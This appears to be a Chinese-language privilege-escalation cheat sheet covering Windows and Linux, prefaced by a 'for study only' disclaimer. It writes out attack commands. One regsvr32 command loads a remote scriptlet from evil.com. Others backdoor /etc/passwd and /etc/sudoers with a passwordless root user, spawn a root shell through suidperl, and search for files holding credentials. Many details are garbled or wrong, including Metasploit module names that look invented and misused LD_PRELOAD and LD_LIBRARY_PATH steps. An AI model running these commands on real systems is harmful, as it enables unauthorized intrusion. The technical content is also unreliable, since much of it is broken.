免责声明
由于传播、利用本篇文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
注意:以下列举的方法仅供学习和研究使用,请勿用于非法用途。
常见的Windows提权方法
利用SeImpersonatePrivilege提权
-
执行whoami /priv命令,查看当前用户是否拥有SeImpersonatePrivilege权限。
-
如果拥有该权限,可以使用Impersonate-User脚本提权。该脚本会创建一个新的进程,并使用当前用户的权限执行该进程。
-
如果没有该权限,可以使用PowerUp脚本,该脚本会检测系统中是否存在可利用的漏洞,并提供相应的利用方法。
利用DLL劫持提权
-
找到一个可劫持的DLL文件,如“user32.dll”。
-
创建一个恶意DLL文件,并将其重命名为“user32.dll”。
-
将恶意DLL文件放置在系统目录下,等待用户或系统调用“user32.dll”时,恶意DLL文件会被加载,从而可以获得系统权限。
利用Token提权
-
执行whoami /groups命令,查看当前用户所属的组。
-
利用PsExec工具,执行命令psexec -i -d -s cmd.exe,可以获得一个System权限的命令行窗口。
-
在命令行窗口中执行whoami /groups命令,可以看到当前用户已经拥有System权限的Token。
利用服务提权
-
使用sc或net start命令查看当前正在运行的服务。
-
找到一个可利用的服务,如“Print Spooler”服务。
-
利用Metasploit框架中的exploit/windows/local/service_permissions模块,可提升该服务的权限,从而获得系统权限。
利用Schtasks提权
-
使用schtasks /query命令查看当前系统中的计划任务。
-
找到一个可利用的计划任务,如“System Restore Checkpoint”任务。
-
利用Metasploit框架中的exploit/windows/local/schtasks模块,可修改该任务的参数,从而获得系统权限。
利用Windows Installer提权
-
执行msiexec /i命令,安装一个恶意的MSI文件。
-
在安装过程中,会自动创建一个System权限的进程。
-
利用该进程,可以执行任意的命令,从而获得系统权限。
利用Windows Subsystem for Linux提权
-
在Windows系统中安装Windows Subsystem for Linux(WSL)。
-
在WSL中安装Metasploit框架。
-
利用Metasploit框架中的exploit/linux/local/sudo模块,可提升当前用户的权限,从而获得系统权限。
利用Windows Management Instrumentation提权
-
执行wmic service list brief命令,查看当前正在运行的服务。
-
找到一个可利用的服务,如“Winmgmt”服务。
-
利用Metasploit框架中的exploit/windows/local/wmi模块,可提升该服务的权限,从而获得系统权限。
利用COM提权
-
执行regsvr32 /s /u /i:https://evil.com/evil.sct scrobj.dll命令,注入一个恶意的COM脚本。
-
注入成功后,会自动执行该脚本,并创建一个System权限的进程。
-
利用该进程,可以执行任意的命令,从而获得系统权限。
利用Kernel提权
-
执行systeminfo命令,查看当前系统的信息。
-
找到一个可利用的漏洞,如CVE-2019-1458漏洞。
-
利用Metasploit框架中的exploit/windows/local/kernel模块,可利用该漏洞提升当前用户的权限,从而获得系统权限。
常见的Linux提权方法
SUID提权
-
查找具有SUID权限的文件:find / -perm -4000 -type f 2>/dev/null
-
查看这些文件是否有漏洞:strings /usr/bin/sudo | grep "^"、strings /usr/bin/passwd | grep "^"
-
找到一个有漏洞的文件,利用漏洞获取root权限
可写的/etc/passwd提权
-
在/etc/passwd中添加一个新用户:echo "hacker::0:0:hacker:/root:/bin/bash" >> /etc/passwd
-
切换到新用户:su hacker
-
获取root权限:sudo su
内核提权
-
查看内核版本:uname -a
-
查找内核漏洞:searchsploit Linux Kernel <version> | grep -i "privilege escalation"
-
找到一个有漏洞的内核,利用漏洞获取root权限
LD_PRELOAD提权
-
编写一个恶意的共享库:cat > rootkit.c << EOF、gcc -shared -o rootkit.so rootkit.c
-
设置LD_PRELOAD环境变量:export LD_PRELOAD=/path/to/rootkit.so
-
运行一个程序,就能够以root权限运行:sudo /usr/bin/vim
LD_LIBRARY_PATH提权
-
编写一个恶意的共享库:cat > rootkit.c << EOF、gcc -shared -o rootkit.so rootkit.c
-
设置LD_LIBRARY_PATH环境变量:export LD_LIBRARY_PATH=/path/to/rootkit.so
-
运行一个程序,就能够以root权限运行:sudo /usr/bin/vim
/etc/sudoers提权
-
查看是否存在可利用的sudoers文件:cat /etc/sudoers、cat /etc/sudoers.d/*
-
如果存在可利用的sudoers文件,就可以添加一条提权规则:echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
-
切换到hacker用户,就能够以root权限运行:sudo su
系统服务提权
-
查看正在运行的系统服务:ps aux | grep root
-
查找这些服务是否有漏洞:searchsploit <service> | grep -i "privilege escalation"
-
找到一个有漏洞的服务,利用漏洞获取root权限
枚举系统提权
-
查找系统中的敏感文件:find / -name *.txt -o -name *.log -o -name *.conf -o -name *.sh
-
查看这些文件是否有漏洞,是否包含root密码等信息
-
利用这些信息获取root权限
suidperl提权
-
查找系统中是否安装了suidperl:find / -name suidperl 2>/dev/null
-
如果存在suidperl,就可以利用漏洞获取root权限:suidperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
/etc/shadow提权
-
查看/etc/shadow文件是否有漏洞:cat /etc/shadow
-
如果存在可利用的漏洞,就可以利用漏洞获取root权限